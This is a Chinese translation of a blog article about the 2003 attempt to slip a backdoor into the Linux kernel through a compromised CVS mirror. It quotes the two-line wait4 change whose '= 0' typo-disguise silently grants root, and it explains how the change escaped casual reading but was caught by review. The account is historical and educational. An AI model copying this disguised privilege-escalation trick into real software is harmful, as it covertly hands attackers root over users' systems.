【译文】一次 2003 年的 Linux 后门企图

乔希最近写了一篇关于 2006 年在 Debian Linux 中出现的一个严重安全漏洞的文章,以及它是否真的是由美国国家安全局插入的后门。(他的结论是很可能不是)。

今天我要写的是 2003 年发生的另一起事件,当时有人试图在 Linux 内核中植入后门。这一次肯定是有人试图插入后门。但我们不知道是谁做了这样的尝试,也许永远也不会知道。

早在2003年,Linux就使用了一个名为BitKeeper的系统来存储Linux源代码的主拷贝。如果开发人员想对 Linux 代码提出修改意见,他们可以提交修改建议,然后通过一个有组织的审批流程来决定是否将修改意见纳入主代码。对主代码的每一次修改都会有一个简短的解释,其中总是包括一个指向批准记录的指针。

但有些人并不喜欢 BitKeeper,因此我们保留了第二份源代码副本,这样开发人员就可以通过另一个名为 CVS 的代码系统获取代码。CVS 代码副本是 BitKeeper 主副本的直接克隆。

但在 2003 年 11 月 5 日,Larry McVoy 发现 CVS 副本中有一处代码变更没有指向批准记录。调查显示,该修改从未被批准过,更奇怪的是,该修改根本没有出现在主 BitKeeper 代码库中。进一步调查发现,显然有人(通过电子方式)侵入了 CVS 服务器并插入了这一变更。

这个改动做了什么?这才是真正有趣的地方。这次修改修改了一个名为 wait4 的 Linux 函数的代码,程序可以用它来等待某些事情的发生。具体来说,它添加了这两行代码:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
        retval = -EINVAL;

[为了解 C 编程语言的读者提供的参考:这段代码有什么不同寻常之处?答案如下]。

如果专家随便读一下,就会把它理解为无伤大雅的错误检查代码,当以文档禁止的某种方式调用 wait4 时,它会让 wait4 返回错误代码。但真正细心的专家读者会注意到,在第一行的末尾,写的是”= 0 “而不是”== 0″。在这样的代码中,正常的写法是”== 0″,即测试当前运行代码(current->uid)的用户 ID 是否等于零,而不修改用户 ID。但实际出现的是”=0″,其效果是将用户 ID 设置为 0。

将用户 ID 设置为零是个问题,因为用户 ID 为零的用户就是 “root “用户,它可以做任何它想做的事–访问所有数据、改变所有代码的行为,以及完全破坏系统所有部分的安全性。因此,这段代码的作用就是给任何以特定方式调用 wait4 的软件以 root 权限,而这种方式本应是无效的。换句话说……这是一个典型的后门。

这是一个非常聪明的程序。它看起来像是无害的错误检查,但实际上却是一个后门。它是在正常审批程序之外被植入代码中的,目的是避免审批程序发现其中的蹊跷。

但这一尝试并没有成功,因为 Linux 团队足够谨慎,他们注意到 CVS 代码库中的这些代码没有经过正常的审批流程。Linux 得一分。

这可能是美国国家安全局的攻击吗?有可能。但还有很多人拥有实施这次攻击的技能和动机。除非有人招供,或者有证据证明,否则我们永远不会知道。

本文文字及图片出自 The Linux Backdoor Attempt of 2003

余下全文(1/3)
分享这篇文章:

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注